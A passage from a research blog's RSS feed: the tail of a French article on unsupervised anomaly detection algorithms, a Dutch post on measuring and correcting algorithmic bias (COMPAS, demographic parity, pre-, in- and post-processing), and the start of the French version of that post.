<p class="wp-block-paragraph">En l’absence de label, c’est là que ça se complique. Dans ce cas, il faudra vérifier manuellement les observations identifiées par l’algorithme, afin de confirmer si celles-ci sont effectivement anormales. Cela demande non seulement d’avoir des bonnes connaissances du domaine d’où sont issues les données, mais aussi de <strong>comprendre pourquoi l’observation a été identifiée par l’algorithme comme anomalie</strong>. En effet, puisqu’il y a souvent un grand nombre de variables dans les données, et que la frontière (entre données normales et anormales) utilisée par l’algorithme est généralement complexe, il est parfois difficile de comprendre pourquoi certaines observations ont été identifiées comme des anomalies par un algorithme. Il peut alors être utile d’utiliser des outils d’explicabilité (par exemple&nbsp;: SHAP, LIME) pour comprendre les décisions de l’algorithme.</p>



<h1 class="wp-block-heading">Conclusion</h1>



<p class="wp-block-paragraph">Nous avons choisi, dans cet article de blog, de présenter une sélection d’algorithmes (non-supervisés) basés sur des approches variées (distance, densité, isolation, etc.), afin d’illustrer la grande diversité d’algorithmes qui existent. Cependant, rappelons que nous n’avons pas exploré les méthodes supervisées (souvent plus précises car spécialisées dans la détection de patterns prédéfinis) et les approches statistiques. La détection d’anomalies est donc un domaine vaste offrant de nombreux outils. Les algorithmes non-supervisés offrent une grande flexibilité, car ils ne requièrent pas de labels et peuvent détecter des nouvelles formes d’anomalies. Dans la pratique, puisque chaque algorithme de détection est différent, il est parfois utile de combiner plusieurs algorithmes de détection d’anomalies afin d’avoir une plus grande variété dans les formes d’anomalies détectées.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph" id="footnote-1">[1]&nbsp;: Chandola, V., Banerjee, A., &amp; Kumar, V. (2009). Anomaly detection: A survey.&nbsp;<em>ACM computing surveys (CSUR)</em>,&nbsp;<em>41</em>(3), 1-58.</p>



<p class="wp-block-paragraph" id="footnote-2">[2]&nbsp;: Samariya, D., &amp; Thakkar, A. (2023). A comprehensive survey of anomaly detection algorithms.&nbsp;<em>Annals of Data Science</em>,&nbsp;<em>10</em>(3), 829-850.</p>



<p class="wp-block-paragraph" id="footnote-3">[3]&nbsp;: Nassif, A. B., Talib, M. A., Nasir, Q., &amp; Dakalbab, F. M. (2021). Machine learning for anomaly detection: A systematic review.&nbsp;<em>Ieee Access</em>,&nbsp;<em>9</em>, 78658-78700.</p>



<p class="wp-block-paragraph" id="footnote-4">[4]: Breunig, M. M., Kriegel, H. P., Ng, R. T., &amp; Sander, J. (2000). LOF: identifying density-based local outliers. In&nbsp;<em>Proceedings of the 2000 ACM SIGMOD international conference on Management of data</em>&nbsp;(pp. 93-104).</p>



<p class="wp-block-paragraph" id="footnote-5">[5]&nbsp;: Ramaswamy, S., Rastogi, R., &amp; Shim, K. (2000). Efficient algorithms for mining outliers from large data sets. In&nbsp;<em>Proceedings of the 2000 ACM SIGMOD international conference on Management of data</em>&nbsp;(pp. 427-438).</p>



<p class="wp-block-paragraph" id="footnote-6">[6]&nbsp;: Jiang, S. Y., &amp; An, Q. B. (2008). Clustering-based outlier detection method. In&nbsp;<em>2008 Fifth international conference on fuzzy systems and knowledge discovery</em>&nbsp;(Vol. 2, pp. 429-433). IEEE.</p>



<p class="wp-block-paragraph" id="footnote-7">[7]&nbsp;: He, Z., Xu, X., &amp; Deng, S. (2003). Discovering cluster-based local outliers.&nbsp;<em>Pattern recognition letters</em>,&nbsp;<em>24</em>(9-10), 1641-1650.</p>



<p class="wp-block-paragraph" id="footnote-8">[8]&nbsp;: Liu, F. T., Ting, K. M., &amp; Zhou, Z. H. (2008). Isolation forest. In&nbsp;<em>2008 eighth ieee international conference on data mining</em>&nbsp;(pp. 413-422). IEEE.</p>



<p class="wp-block-paragraph" id="footnote-9">[9]&nbsp;: <a href="https://en.wikipedia.org/wiki/Isolation_forest">Isolation forest &#8211; Wikipedia</a></p>



<p class="wp-block-paragraph" id="footnote-10">[10]&nbsp;: Schölkopf, B., Platt, J. C., Shawe-Taylor, J., Smola, A. J., &amp; Williamson, R. C. (2001). Estimating the support of a high-dimensional distribution.&nbsp;<em>Neural computation</em>,&nbsp;<em>13</em>(7), 1443-1471.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ethiek en artificiële intelligentie: hoe een bias meten en corrigeren?</title>
		<link>https://www.smalsresearch.be/ethiek-en-artificiele-intelligentie-hoe-een-bias-meten-en-corrigeren/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Wed, 11 Jun 2025 08:00:00 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Artificial intelligence]]></category>
		<category><![CDATA[classification]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">/?p=22871</guid>

					<description><![CDATA[Dit artikel gaat in op de manier waarop algoritmische bias kan worden gemeten en op de verschillende manieren om deze te corrigeren om eerlijke voorspellingen te genereren.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/ethique-et-intelligence-artificielle-comment-mesurer-et-corriger-un-biais/">Version en français</a></em></p>
<p>Artificiële intelligentie en machine learning spelen een steeds grotere rol in de menselijke samenleving ter ondersteuning van besluitvormingsprocessen. De aandacht naar hun eerlijkheid (fairness) is de afgelopen jaren dan ook steeds belangrijker geworden. Predictieve modellen kunnen namelijk problematisch worden wanneer ze biases (vooringenomenheden) die ze tijdens hun trainingsfase uit historische gegevens hebben geleerd, beginnen te reproduceren of versterken. Deze bias leidt vaak tot discriminatie van een of meer groepen individuen. Dit is vooral problematisch in het kader van gevoelige beslissingen, zoals het verwerken van sollicitaties, het toekennen van leningen of justitie. Dit artikel gaat in op de manier waarop deze algoritmische bias kan worden gemeten en op de verschillende manieren om deze te corrigeren om eerlijke voorspellingen te genereren.</p>
<p>Zoals we al in een <a href="/lethique-dans-lintelligence-artificielle/">eerdere blogpost</a> hebben besproken, kan een bias verschillende oorzaken hebben. Het kan bijvoorbeeld gaan om een designfout in het algoritme zelf, een ondervertegenwoordiging van een groep in de trainingsdata, of om historische data die bevooroordeeld is door racisme/seksisme in de samenleving [<a href="#footnote-1">1</a>]. In dit artikel richten we ons op het geval waarin het probleem bij de gegevens ligt en niet bij het model zelf, namelijk wanneer het model leert op basis van bevooroordeelde gegevens en deze vooringenomenheid vervolgens reproduceert in zijn voorspellingen.</p>
<p>Een van de bekendste voorbeelden is de COMPAS-case. Het COMPAS-algoritme werd gebruikt in de Verenigde Staten om het risico op recidive van gedetineerden in het kader van een mogelijke vervroegde vrijlating in te schatten. In 2016 stelde een <a href="https://www.propublica.org/article/how-we-analyzed-the-compas-recidivism-algorithm">studie van ProPublica</a> dat Afro-Amerikanen door het algoritme werden gediscrimineerd omdat ze meer kans hadden om als “<em>high-risk</em>” te worden geclassificeerd. De studie stelde meer bepaald dat een persoon met een donkere huidskleur meer kans had om ten onrechte als “<em>high-risk</em>” te worden geclassificeerd en dat een blanke daarentegen meer kans had om ten onrechte als “<em>low-risk</em>” te worden geclassificeerd. Deze zaak leidde tot een groot debat en de publicatie van honderden artikelen over dit onderwerp.</p>
<p>In het geval van COMPAS, lag het probleem niet bij het algoritme zelf, maar eerder bij de gegevens waarop het was getraind. Het model was namelijk getraind op historische strafrechtelijke gegevens die een systematische racistische vooringenomenheid weerspiegelen, zoals discriminerende politiepraktijken. Deze bevooroordeelde gegevens leidden er dus toe dat het model eveneens vooroordelen vertoonde in zijn voorspellingen.</p>



<h2 class="wp-block-heading">Hoe meet je de oneerlijkheid van een model?</h2>



<p>Problemen met fairness veronderstellen het bestaan van een zogenaamde<strong> gevoelige variabele</strong>. Dit is de variabele waarvoor men geen discriminatie wenst. Het kan bijvoorbeeld gaan om het geslacht of de etnische afkomst van een persoon. De gevoelige variabele is vaak <strong>categorisch</strong>, maar kan, afhankelijk van het geval, ook <strong>continu</strong> zijn (bijvoorbeeld de leeftijd van een persoon). Voor het gemak gaan we ervan uit dat er slechts een gevoelige variabele is, maar in sommige problemen kunnen er meerdere zijn.</p>
<p>Op basis van deze gevoelige variabele worden doorgaans twee groepen gedefinieerd. De groep die door het model negatief wordt gediscrimineerd, wordt de “beschermde groep” genoemd.</p>
<p>Stel dat we een predictief model hebben dat voorspellingen moet doen over het toekennen van een lening. Dit algoritme wordt als “eerlijk” beschouwd als de kans dat een persoon voor de lening wordt geselecteerd (positieve beslissing van het model) gelijk is, ongeacht de groep waartoe de persoon behoort. Wiskundig gezien willen we dus het volgende opleggen:</p>
<p>P(Y<sub>d</sub> = 1 | Z = 1) = P(Y<sub>d</sub> = 1 | Z = 0)</p>
<p>waarbij Y<sub>d</sub> de beslissing van het model is en Z een binaire variabele die aangeeft of een persoon al dan niet behoort tot de beschermde groep. Deze kansen worden berekend op groepsniveau, niet op individueel niveau.</p>
<p>Een bekende maatstaf voor algoritmische oneerlijkheid is dus gewoon het verschil tussen deze twee termen. Indien er een verschil is, betekent het dat het model een van de twee groepen bevoordeelt. Deze maatstaf voor het verschil tussen voorspellingen binnen de twee groepen wordt “<em>demographic parity</em>” of “<em>statistical parity</em>” genoemd.</p>
<p>Hoewel deze maatstaf relatief eenvoudig is, is dit een van de bekendste op het gebied van algoritmische rechtvaardigheid, die algemeen wordt erkend en gebruikt. Het is echter duidelijk niet de enige maatstaf die bestaat (voor enkele alternatieven, zie bijvoorbeeld [<a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>]). Opgemerkt moet worden dat, aangezien demographic parity wordt gemeten op groepsniveau, het een maatstaf is voor groepsrechtvaardigheid (group fairness). Er bestaan ook alternatieve maatstaven op individueel niveau (individual fairness).</p>



<h2 class="wp-block-heading">Waarom wordt de gevoelige variabele niet gewoon uit het model verwijderd?</h2>



<p>Op het eerste gezicht lijkt het probleem eenvoudig op te lossen. Een voorspellend machine learning-model neemt gegevens X als input en voorspelt een variabele Y als output op basis van de gegevens in X. Het zou dus in principe voldoende zijn om de variabele Z niet op te nemen in de gegevens X, zodat de voorspellingen van het model niet meer worden beïnvloed door Z.</p>
<p>Helaas zijn de variabelen waaruit X bestaat in de praktijk zelden onafhankelijk van elkaar. De database X kan dus variabelen bevatten die gecorreleerd zijn met de gevoelige variabele, het model kan deze variabelen gebruiken als proxy van de gevoelige variabele en vertekende voorspellingen geven, ook al maakt Z niet expliciet deel uit van de gebruikte inputgegevens. Zo kan in een steekproef het inkomen van een persoon worden gebruikt als proxy voor zijn leeftijd, omdat het inkomen van personen doorgaans stijgt naarmate ze ouder worden.</p>
<p>In het geval van COMPAS werd de etnische afkomst van de gedetineerde bijvoorbeeld niet expliciet gebruikt in het model als variabele, maar door de aanwezigheid van gecorreleerde proxyvariabelen (bijv. postcode, sociaaleconomische indicatoren) werd de raciale vertekening altijd weerspiegeld in de voorspellingen van het model.</p>



<h2 class="wp-block-heading"><strong>Hoe een algoritmische bias in de praktijk corrigeren?</strong></h2>



<p>Er onderscheiden zich drie grote families van correcties: voorbewerking (“pre-processing”: het verwijderen van de bias uit de trainingsdata), verwerking (“in-processing”: het verwijderen van de bias tijdens het trainen van het model) en nabewerking (“post-processing”: het verwijderen van de bias uit een getraind model). Deze benaderingen hebben elk hun voor- en nadelen en zijn uitgebreid beschreven in tal van publicaties. De geïnteresseerde lezer kan de volgende survey raadplegen [<a href="#footnote-4">4</a>], waarin de verschillende publicaties op het gebied van fairness zijn verzameld en geordend per aanpak (pre-, in-, post-processing), per type algoritme (logistische regressie, random forest, neurale netwerken, enz.), per gebruikte fairness-maatstaf, enz. Dit biedt een goed gestructureerd overzicht van wat er op dit gebied wordt gedaan.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/Biased_Process.png"><img loading="lazy" decoding="async" width="1024" height="437" src="/wp-content/uploads/2025/05/Biased_Process-1024x437.png" alt="" class="wp-image-22699" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-1024x437.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-300x128.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-768x328.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process.png 1056w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Overzicht van een classificatieproces met een vooringenomenheid in de gegevens.</figcaption></figure>



<h2 class="wp-block-heading">Pre-processingsmethoden</h2>



<p>Het idee is eenvoudig: de trainingsgegevens ontdoen van vooringenomenheid om ze dichter bij de werkelijkheid te brengen, zodat de vooroordelen niet in het machine learning-model terechtkomen. Enkele voorbeelden van pre-processingsmethoden zijn:</p>



<ul class="wp-block-list">
<li>De steekproef (sampling) opnieuw in evenwicht brengen (door waarnemingen toe te voegen of te verwijderen);</li>



<li>De inhoud van bepaalde variabelen van data X corrigeren of zelfs volledig vervangen door nieuwe variabelen (<em>representational learning</em>) die geen gevoelige informatie bevatten;</li>



<li>Het label (variabele Y) van bepaalde waarnemingen wijzigen.</li>
</ul>



<p>Pre-processing biedt het voordeel dat het niet afhankelijk is van het gebruikte model en dat het doorgaans eenvoudig uit te leggen en te begrijpen is. Het correct corrigeren van historische gegevens kan echter ingewikkeld zijn en het is moeilijk om de fairness van het resulterende model te garanderen. Ook moet het risico van verlies aan nauwkeurigheid worden vermeld, aangezien het wijzigen van data mogelijk relevante patterns uit de data verwijdert.</p>
<p>Figuur 2 toont hoe fairness wordt toegevoegd via een pre-processing-aanpak. Zoals uit het schema blijkt, is pre-processing niet altijd noodzakelijk voor nieuwe data. Sommige methoden (bijv. resampling, relabeling) vereisen enkel een wijziging van de trainingsdata om te voorkomen dat het algoritme de bias leert. Sommige algoritmen (bijv. representation learning) vereisen echter ook dat de nieuwe te voorspellen waarnemingen worden gewijzigd.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PreProcessing.png"><img loading="lazy" decoding="async" width="1024" height="355" src="/wp-content/uploads/2025/05/PreProcessing-1024x355.png" alt="" class="wp-image-22702" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-1024x355.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-300x104.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing-768x266.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PreProcessing.png 1474w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 2: Fairness via een pre-processing-aanpak.</figcaption></figure>



<h2 class="wp-block-heading">In-processing-methoden</h2>



<p>Deze methoden bestaan uit het rechtstreeks wijzigen van het voorspellingsmodel zelf, zodat de voorspellingen fair zijn. Dit kan bijvoorbeeld worden gedaan door een regularisatieterm toe te voegen aan de doelfunctie van het algoritme, of door er fairness-beperkingen aan toe te voegen.</p>
<p>In-processing-methoden hebben het voordeel dat, zodra het model is getraind, fairness direct in het model wordt opgenomen en het model vrij kan worden gebruikt, zonder dat de invoergegevens of de voorspellingen van het model verder hoeven te worden aangepast. Bovendien biedt het rechtstreeks wijzigen van het model een grote flexibiliteit, omdat complexe fairness-beperkingen kunnen worden gecodeerd.</p>
<p>Deze grote flexibiliteit vereist echter voldoende theoretische en praktische kennis om het algoritme zelf te kunnen wijzigen. Bovendien kan het aanbrengen van wijzigingen in een model, zoals beperkingen, de trainingstijd aanzienlijk verlengen. Aangezien in-processing-methoden de training van een algoritme wijzigen, zijn de meeste gepubliceerde methoden doorgaans specifiek voor een bepaald model.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/InProcessing.png"><img loading="lazy" decoding="async" width="1024" height="534" src="/wp-content/uploads/2025/05/InProcessing-1024x534.png" alt="" class="wp-image-22700" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-1024x534.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-300x156.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing-768x400.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/InProcessing.png 1063w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 3: Fairness door in-processing.</figcaption></figure>



<h2 class="wp-block-heading">Post-processingsmethoden</h2>



<p>Bij de laatste benadering worden het model en de historische data niet aangepast, maar worden de voorspellingen van het model aangepast om aan de fairness-beperkingen te voldoen. Een post-processing-algoritme wijzigt dus meestal ofwel de waarschijnlijkheid dat een waarneming tot de door het model voorspelde klassen behoort, ofwel rechtstreeks de beslissingen (definitieve classificaties) voor bepaalde waarnemingen.</p>
<p>Post-processingsalgoritmen zijn eenvoudig te implementeren: ze zijn onafhankelijk van het gebruikte voorspellingsmodel en kunnen dus worden gebruikt met ‘black-box’-modellen. Bovendien vereist post-processing geen wijzigingen aan de gegevens of het model en blijft de integriteit van het bestaande proces dus behouden.</p>
<p>Dit soort methoden leidt echter doorgaans tot een groter verlies aan modelprestaties dan het gebruik van in-processingsmethoden. Een model vrij trainen en vervolgens achteraf de voorspellingen aanpassen om aan bepaalde beperkingen te voldoen, is namelijk vaak minder effectief dan een model dat specifiek is geoptimaliseerd om voorspellingen te doen die aan de beperkingen voldoen.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/PostProcessing.png"><img loading="lazy" decoding="async" width="1024" height="336" src="/wp-content/uploads/2025/05/PostProcessing-1024x336.png" alt="" class="wp-image-22701" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-1024x336.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-300x98.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing-768x252.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/PostProcessing.png 1323w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 4: Fairness door middel van post-processing.</figcaption></figure>



<h2 class="wp-block-heading">Eerlijke voorspellingen evalueren</h2>



<p>Vanaf het moment dat beperkingen aan de voorspellingen van een model worden toegevoegd of de toegang tot bepaalde informatie wordt beperkt, zal dit de classificatieprestaties van het model logischerwijs verminderen. Het integreren van fairness in een classificatieprobleem houdt dus in dat er een juiste balans moet worden gevonden tussen de nauwkeurigheid van het model en de fairness ervan.</p>
<p>Bovendien is het raadzaam om, zelfs wanneer een evenwicht tussen nauwkeurigheid en eerlijkheid is gevonden, altijd te controleren welke wijzigingen het toevoegen van fairness-beperkingen met zich meebrengt.</p>
<p>Een voorbeeld ter illustratie: stel dat een algoritme voorspellingen doet die bevooroordeeld zijn en relatief meer gunstige beslissingen neigt te nemen voor leden van groep A dan voor leden van groep B. Het risico bestaat dat het algoritme bij de invoering van een fairness-beperking reageert door simpelweg het aantal gunstige beslissingen voor groep A te verminderen om hetzelfde niveau als groep B te bereiken. Dit nieuwe model is dus in<strong><em> theorie</em></strong> eerlijker dan het vorige, maar het is duidelijk slechter omdat deze eerlijkheid alleen is bereikt door een van de groepen te benadelen.</p>
<p>Dit voorbeeld illustreert hoe belangrijk het is om bij het invoeren van eerlijkheid in een model niet alleen te kijken naar prestatiemaatstaven (<em>accuracy, demographic parity</em>, enz.), maar ook te onderzoeken hoe de beslissingen van het model in de praktijk worden beïnvloed.</p>



<h2 class="wp-block-heading">Conclusie</h2>



<p>In dit artikel hebben we gezien hoe de oneerlijkheid van een machine learning-model kan worden gemeten. Ook hebben we een overzicht gegeven van de verschillende benaderingen die worden gebruikt om te voorkomen dat het model een in de historische gegevens aangeleerde bias reproduceert of versterkt.</p>
<p>Belangrijk is dat de verschillende benaderingen elkaar niet uitsluiten en vaak kunnen worden gecombineerd (bijvoorbeeld voorbewerking van de trainingsdata, gevolgd door een in-processing-methode op het model). Sommige publicaties op dit gebied stellen methoden voor die op verschillende niveaus van het classificatieproces werken.</p>



<h2 class="wp-block-heading">Referenties</h2>



<p id="footnote-1">[1] Mehrabi, N., Morstatter, F., Saxena, N., Lerman, K., &amp; Galstyan, A. (2021). A survey on bias and fairness in machine learning. <em>ACM computing surveys (CSUR)</em>, <em>54</em>(6), 1-35.</p>
<p id="footnote-2">[2] Castelnovo, A., Crupi, R., Greco, G., Regoli, D., Penco, I. G., &amp; Cosentini, A. C. (2022). A clarification of the nuances in the fairness metrics landscape. <em>Scientific Reports</em>, <em>12</em>(1), 4209.</p>
<p id="footnote-3">[3] Corbett-Davies, S., Gaebler, J. D., Nilforoshan, H., Shroff, R., &amp; Goel, S. (2023). The measure and mismeasure of fairness. <em>Journal of Machine Learning Research</em>, <em>24</em>(312), 1-117.</p>
<p id="footnote-4">[4] Hort, M., Chen, Z., Zhang, J. M., Harman, M., &amp; Sarro, F. (2024). Bias mitigation for machine learning classifiers: A comprehensive survey. <em>ACM Journal on Responsible Computing</em>, <em>1</em>(2), 1-52.</p>
<p>Voor een soortgelijk onderwerp, zie de blogpost <a href="/ia-lethique-en-pratique/">IA : L&#8217;éthique en pratique</a>.</p>
<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ethique et intelligence artificielle&#160;: comment mesurer et corriger un biais ?</title>
		<link>https://www.smalsresearch.be/ethique-et-intelligence-artificielle-comment-mesurer-et-corriger-un-biais/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Tue, 20 May 2025 12:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Artificial intelligence]]></category>
		<category><![CDATA[classification]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<guid isPermaLink="false">/?p=22692</guid>

					<description><![CDATA[Cet article s'intéresse à la manière dont les biais algorithmiques peuvent être mesurés et corrigés pour générer des prédictions équitables.]]></description>
										<content:encoded><![CDATA[
<p><em><a href="/ethiek-en-artificiele-intelligentie-hoe-een-bias-meten-en-corrigeren/">Nederlandstalige versie</a></em></p>
<p>Tandis que l’intelligence artificielle et le machine learning jouent un rôle croissant dans la société humaine pour soutenir les processus de prise de décision, les préoccupations concernant leur équité (fairness) ont attiré l’attention au cours des dernières années. Les modèles prédictifs peuvent en effet devenir problématiques lorsqu’ils commencent à reproduire ou renforcer des biais qu’ils ont appris dans les données historiques utilisées durant leur phase d’entrainement. Ce biais crée souvent une discrimination injuste à l’encontre d’un ou plusieurs groupe(s) d’individus, ce qui est particulièrement problématique dans le cadre de décisions sensibles, telles que le traitement de candidatures d’emploi, l’accord de prêts ou la justice, entre autres. Cet article s&#8217;intéresse à la manière dont ces biais algorithmiques peuvent être mesurés et les différentes façons de les corriger pour générer des prédictions équitables.</p>
<p>Comme nous en avions déjà discuté dans un <a href="/lethique-dans-lintelligence-artificielle/">précédent article de blog</a>, un biais peut avoir plusieurs sources. Il peut par exemple s’agir d’un problème de design de l’algorithme en lui-même, d’un souci de sous-représentation d’un groupe dans les données d’entrainement, ou de données historiques biaisées par du racisme/sexisme présent dans la société [<a href="#footnote-1">1</a>]. Dans le cadre de cet article, nous nous concentrerons sur le cas où le problème vient des données et non pas du modèle en lui-même, à savoir lorsque le modèle apprend sur des données biaisées et reproduit ensuite ce biais dans ses prédictions.</p>
<p>L’un des exemples les plus connus est le cas COMPAS. L’algorithme COMPAS était utilisé aux États-Unis pour estimer le risque de récidive de détenus dans le cadre d’une potentielle libération anticipée. En 2016, <a href="https://www.propublica.org/article/how-we-analyzed-the-compas-recidivism-algorithm">une étude de ProPublica</a> affirmait que les Afro-Américains étaient discriminés par l’algorithme car ils avaient plus de chance d’être classifiés comme « high-risk ». Plus précisément, l’étude mentionnait qu’une personne noire avait plus de chance d’être erronément classifiée comme « high-risk » et, qu’à l’inverse, une personne blanche avait plus de chance d’être erronément classifiée comme « low-risk ». Cette affaire entraina un grand débat et la publication de centaines d’articles sur le sujet.</p>
<p>Dans le cas de COMPAS, le problème n’était pas l’algorithme en lui-même, mais les données sur lesquelles il a été entrainé. Le modèle a en effet été entrainé sur des données historiques de la justice pénale qui reflètent un biais raciste systémique, telles que des pratiques policières discriminatoires. Ces données biaisées ont donc entrainé un modèle produisant des prédictions elles aussi biaisées.</p>



<h2 class="wp-block-heading">Comment mesurer l’iniquité d’un modèle&nbsp;?</h2>



<p>Les problèmes de fairness supposent l’existence d’une variable appelée <strong>variable sensible</strong>. Il s’agit de la variable vis-à-vis de laquelle on souhaite qu’il n’y ait pas de discrimination. Il peut par exemple s’agir du genre de la personne, ou de son origine ethnique. La variable sensible est souvent <strong>catégorielle</strong>, mais suivant le cas de figure, elle peut aussi être <strong>continue</strong> (e.g. l’âge d’une personne). Pour des raisons de simplicité, nous faisons l’hypothèse qu’il n’y a qu’une seule variable sensible, mais dans certains problèmes il peut y en avoir plusieurs.</p>
<p>Sur base de cette variable sensible, on définit généralement deux groupes. Le groupe qui est discriminé négativement par le modèle est appelé « groupe protégé ».</p>
<p>Supposons un modèle prédictif ayant pour objectif de fournir des prédictions concernant l’accord d’un prêt. Cet algorithme sera considéré comme « équitable » si la probabilité pour un individu d’être sélectionné pour le prêt (décision positive du modèle) est la même peu importe le groupe dont est issu l’individu. Mathématiquement, on cherche donc à imposer&nbsp;:</p>
<p>P(Y<sub>d</sub> = 1 | Z = 1) = P(Y<sub>d</sub> = 1 | Z = 0)</p>
<p>Où Y<sub>d</sub> est la décision du modèle et Z est une variable binaire indiquant l’appartenance ou non au groupe protégé. Ces probabilités sont calculées à l’échelle du groupe, et non pas de façon individuelle.</p>
<p>Une mesure bien connue de l’iniquité algorithmique consiste donc simplement à calculer la différence entre ces deux termes. S’il y a une différence, cela implique que le modèle favorise l’un des deux groupes. Cette mesure de la différence entre les prédictions au sein des deux groupes est appelée la « demographic parity » ou « statistical parity ».</p>
<p>Bien que relativement simple, il s’agit de l’une des mesures les plus connues dans le domaine de l’équité algorithmique, largement reconnue et utilisée. Cependant, ce n’est évidemment pas la seule mesure qui existe (pour quelques alternatives, voir e.g., [<a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>]). Il est à noter que, puisqu’elle se mesure à l’échelle des groupes, la demographic parity est donc une mesure d’équité de groupe (group fairness), il existe aussi des mesures alternatives au niveau des individus (individual fairness).</p>



<h2 class="wp-block-heading"><strong>Pourquoi ne pas simplement enlever la variable sensible du modèle&nbsp;?</strong></h2>



<p>Le problème semble, à première vue, simple à régler. Un modèle prédictif de machine learning prend en entrée des données X et prédit une variable Y en sortie sur base des données contenues dans X. Il suffirait donc, a priori, simplement d’enlever la variable Z de la base de données X pour que les prédictions du modèle ne soient plus impactées par Z.</p>
<p>Malheureusement, dans la pratique, les variables qui composent X sont rarement indépendantes les unes des autres. La base de données X peut donc contenir des variables corrélées avec la variable sensible, et le modèle pourra se servir de ces variables comme d’un proxy de la variable sensible et fournir des prédictions biaisées, bien que Z ne fasse pas explicitement partie des données utilisées en entrée. Par exemple, dans un échantillon, le revenu d’une personne peut être utilisée comme proxy de son âge, car les revenus des individus ont tendance à augmenter avec l’âge.</p>
<p>Dans le cas COMPAS par exemple, l’origine ethnique du détenu n’était pas explicitement utilisée en tant que variable du modèle, mais à cause de la présence de variables proxy corrélées (e.g., le code postal, des indicateurs socio-économiques), le biais racial se reflétait toujours dans les prédictions du modèle.</p>



<h2 class="wp-block-heading"><strong>Comment corriger un biais algorithmique en pratique&nbsp;?</strong></h2>



<p>Il existe 3 grandes familles de corrections : le prétraitement (« pre-processing » : enlever le biais des données d’entrainement), le traitement en cours (« in-processing » : enlever le biais durant l’entrainement du modèle) et le post-traitement (« post-processing » : enlever le biais d’un modèle entrainé). Chacune de ces approches a ses avantages et ses inconvénients et a fait l’objet de nombreuses publications. Le lecteur intéressé pourra se référer au survey suivant [<a href="#footnote-4">4</a>], qui rassemble et organise les différentes publications dans le domaine de la fairness par approche (pre-, in-, post-processing), type d’algorithme utilisé (régression logistique, random forest, réseaux de neurones, etc.), mesure de fairness utilisée, etc., offrant une vue d’ensemble bien structurée de ce qui se fait dans le domaine.</p>



<figure class="wp-block-image aligncenter size-large"><a href="/wp-content/uploads/2025/05/Biased_Process.png"><img loading="lazy" decoding="async" width="1024" height="437" src="/wp-content/uploads/2025/05/Biased_Process-1024x437.png" alt="" class="wp-image-22699" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-1024x437.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-300x128.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process-768x328.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/05/Biased_Process.png 1056w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Vue d’ensemble d’un processus de classification présentant un biais dans les données.</figcaption></figure>



<h2 class="wp-block-heading"><strong>Les méthodes «&nbsp;pre-processing&nbsp;»</strong></h2>



<p class="wp-block-paragraph">L’idée est simple&nbsp;: il s’agit simplement de débiaiser les données d’entrainement pour les rendre plus proches de la réalité, de sorte que le biais ne parvienne pas jusqu’au modèle de machine learning. Quelques exemples de méthodes de pre-processing incluent par exemple&nbsp;:</p>



<ul class="wp-block-list">
<li>Rééquilibrer l’échantillonnage (en ajoutant ou supprimant des observations) ;</li>



<li>Corriger le contenu de certaines variables des données X, voire complètement remplacer les variables par des nouvelles (representation learning) qui ne contiennent pas d’information sensible ;</li>



<li>Changer le label (variable Y) de certaines observations.</li>
</ul>



